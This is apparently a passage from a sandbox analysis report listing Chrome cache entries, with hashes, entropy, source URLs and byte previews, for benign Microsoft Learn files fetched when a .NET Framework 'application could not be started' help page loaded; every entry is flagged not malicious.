SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative 